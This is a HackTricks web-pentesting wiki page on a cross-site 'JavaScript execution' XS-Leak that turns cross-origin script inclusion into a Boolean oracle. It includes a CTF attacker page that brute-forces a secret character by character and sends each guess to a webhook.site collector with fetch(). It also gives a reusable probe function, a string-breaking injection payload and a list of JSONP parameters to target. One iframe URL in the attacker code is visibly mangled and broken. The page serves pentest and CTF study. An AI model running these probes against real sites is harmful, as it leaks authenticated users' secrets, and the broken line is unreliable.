javascript-execution-xs-leak.md (9659B)
1 --- 2 title: "JavaScript Execution XS Leak" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/javascript-execution-xs-leak.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/javascript-execution-xs-leak.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JavaScript Execution XS Leak 14 15 This XS-Search primitive turns **whether a cross-origin response executes as JavaScript** into a **Boolean oracle**.<sup>[[1]](#references)</sup> 16 17 The usual setup is: 18 19 - **Positive state**: the target returns attacker-controlled text or sensitive content that does **not** execute as attacker JavaScript. 20 - **Negative state**: the target reflects attacker-controlled text into a place that is parsed as valid JavaScript, so the attacker can force a callback such as `window.parent.foo()`. 21 - **Leak**: load the target with a classic `<script src>` and observe whether the callback fires. 22 23 This is basically an **execution oracle**, not a timing oracle. The only thing the attacker needs is a **cross-origin script inclusion** that behaves differently depending on the secret-dependent branch. 24 25 For the generic XS-Leaks background, see: 26 27 [Readme](/hacktricks/pentesting-web/xs-search/overview) 28 29 ## When This Works 30 31 This technique is practical when all of the following are true: 32 33 - The victim is authenticated to the target origin. 34 - The attacker can make the victim browser request a **classic script** from the target origin. 35 - One branch returns content that is **valid attacker-controlled JavaScript**. 36 - The other branch returns content that **does not execute the attacker callback**. 37 38 In practice, the easiest cases are search/debug endpoints that: 39 40 - return attacker-controlled text when a guess is wrong 41 - return a different body when the guess is right 42 - let the attacker choose a parameter such as `callback`, `hint`, `msg`, or a reflected prefix/suffix 43 44 ## Basic Example 45 46 Server-side code that will try `${guess}` as a flag prefix: 47 48 ```javascript 49 app.get("/guessing", function (req, res) { 50 let guess = req.query.guess 51 let page = `<html> 52 <head> 53 <script> 54 function foo() { 55 // If not the flag this will be executed 56 window.parent.foo() 57 } 58 </script> 59 <script src="https://axol.space/search?query=${guess}&hint=foo()"></script> 60 </head> 61 <p>hello2</p> 62 </html>` 63 res.send(page) 64 }) 65 ``` 66 67 Main page that generates iframes to the previous `/guessing` page to test each possibility: 68 69 ```html 70 <html> 71 <head> 72 <script> 73 let candidateIsGood = false 74 let candidate = "" 75 let flag = "bi0sctf{" 76 let guessIndex = -1 77 78 let flagChars = 79 "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ" 80 81 // this will get called from our iframe IF the candidate is WRONG 82 function foo() { 83 candidateIsGood = false 84 } 85 86 timerId = setInterval(() => { 87 if (candidateIsGood) { 88 flag = candidate 89 guessIndex = -1 90 fetch("https://webhook.site/<yours-goes-here>?flag=" + flag) 91 } 92 93 // Start with true and change to false if the guess is wrong 94 candidateIsGood = true 95 guessIndex++ 96 if (guessIndex >= flagChars.length) { 97 fetch("https://webhook.site/<yours-goes-here>") 98 return 99 } 100 let guess = flagChars[guessIndex] 101 candidate = flag + guess 102 let iframe = `<iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//guessing%3Fguess%3D%24%7BencodeURIComponent%28%0A%20%20%20%20%20%20%20%20%20%20candidate%0A%20%20%20%20%20%20%20%20%29%7D"></iframe>` 103 hack.innerHTML = iframe 104 }, 500) 105 </script> 106 </head> 107 <p>hello</p> 108 <div id="hack"></div> 109 </html> 110 ``` 111 112 The attacker logic is:<sup>[[2]](#references)</sup> 113 114 1. Start every candidate as "good". 115 2. Load the target response as a script. 116 3. If the response executes `window.parent.foo()`, mark the candidate as wrong. 117 4. If no callback fires, keep the candidate and continue brute-forcing. 118 119 ## Minimal Probe Pattern 120 121 In many real targets, an iframe is not required. A direct script inclusion is enough:<sup>[[1]](#references)</sup> 122 123 ```html 124 <script> 125 let hit = true 126 function miss() { 127 hit = false 128 } 129 130 function probe(url) { 131 return new Promise((resolve) => { 132 hit = true 133 const s = document.createElement("script") 134 s.src = url 135 s.onload = () => resolve(hit) 136 s.onerror = () => resolve(false) 137 document.head.appendChild(s) 138 }) 139 } 140 </script> 141 ``` 142 143 If the "wrong guess" branch reflects `miss()`, then: 144 145 - `probe(...) === false` means the callback executed or the load failed 146 - `probe(...) === true` means the script loaded without running the attacker callback 147 148 For reliability, use a **fresh script element per probe** and add a **cache-buster** such as `?r=${crypto.randomUUID()}`. 149 150 ## Modern Caveats 151 152 ### It must be a classic script 153 154 This primitive relies on the browser fetching the resource as a **classic script**. A plain `<script src=...>` without `crossorigin` is fetched in `no-cors` mode, which is exactly why this old pattern is still useful cross-origin. 155 156 Do **not** switch to `type="module"` for this technique: 157 158 - cross-origin **module scripts require CORS** 159 - many targets that are includable as classic scripts will simply fail as modules 160 161 ### MIME type and `nosniff` decide whether the payload executes 162 163 Current browsers are stricter than older writeups. If the target sets `X-Content-Type-Options: nosniff`, the browser will block a script response whose MIME type is not a JavaScript MIME type. 164 165 That means this oracle often depends on: 166 167 - whether the target returns `application/javascript` / `text/javascript` 168 - whether the target returns `text/plain`, `text/html`, or JSON 169 - whether `nosniff` is present 170 171 This is also why some endpoints only give a leak in one branch: one response is accepted as script, while the other branch is blocked or parsed differently. 172 173 ### CORB can change the observable result 174 175 CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an **empty valid script response** instead of surfacing a parse failure. So for some endpoints: 176 177 - one state triggers a normal script parse / callback 178 - another state becomes an empty script and only `onload` fires 179 180 That is still a useful oracle, but the signal is now **callback vs no callback** or **onload vs onerror**, not just "JavaScript executed or not". 181 182 ### CSP can kill the attacker-controlled branch 183 184 Strict CSP on the **target response** can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail: 185 186 - `script-src 'none'` can force attackers to pivot away from a direct execution oracle 187 - CSP/SRI/CSP-report interactions can still create **other** leak oracles, but those belong to different pages/techniques 188 189 So when the obvious callback trick does not work, inspect response headers before discarding the endpoint. 190 191 ## Useful Variants 192 193 ### Callback-parameter endpoints 194 195 The most convenient target is a JSONP-style or debug endpoint that accepts a parameter such as: 196 197 - `callback=...` 198 - `cb=...` 199 - `jsonp=...` 200 - `hint=...` 201 - `msg=...` 202 203 If the "miss" branch reflects that value verbatim into executable JavaScript while the "hit" branch returns different content, you get a direct Boolean oracle with no timing measurement. 204 205 ### Syntax-preserving prefixes and suffixes 206 207 Sometimes you cannot fully control the response body, but you can still make the negative branch execute: 208 209 - close the current string or function argument 210 - inject the callback 211 - comment out the trailing bytes 212 213 For example, a reflected branch like: 214 215 ```javascript 216 showResult("<attacker>"); 217 ``` 218 219 can often be turned into: 220 221 ```javascript 222 showResult("");window.parent.foo();//"); 223 ``` 224 225 If the positive branch does not reflect that payload, the callback becomes the oracle. 226 227 ### Combining with event-based oracles 228 229 If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:<sup>[[1]](#references)</sup> 230 231 - callback fired 232 - `onload` 233 - `onerror` 234 235 This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior. 236 237 Related pages: 238 239 - [Cookie Bomb + Onerror XS Leak](/hacktricks/pentesting-web/xs-search/cookie-bomb-onerror-xs-leak) 240 - [performance.now example](/hacktricks/pentesting-web/xs-search/performance-now-example) 241 242 ## Practical Notes 243 244 - Prefer **one bit per request** and keep the callback side effect simple. 245 - If you probe many candidates, remove previously inserted `<script>` elements or isolate each attempt in a fresh iframe. 246 - Cache and service worker behavior can poison the oracle; use cache-busting. 247 - This primitive is strongest when the negative branch is **fully attacker-controlled JavaScript**. If you only get partial reflection, the exploit becomes a payload-shaping problem rather than an XS-Search problem. 248 249 ## References 250 251 - [1] [XS-Leaks Wiki: Error Events](https://xsleaks.dev/docs/attacks/error-events/) 252 - [2] [justCTF 2022 XS-Leak Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)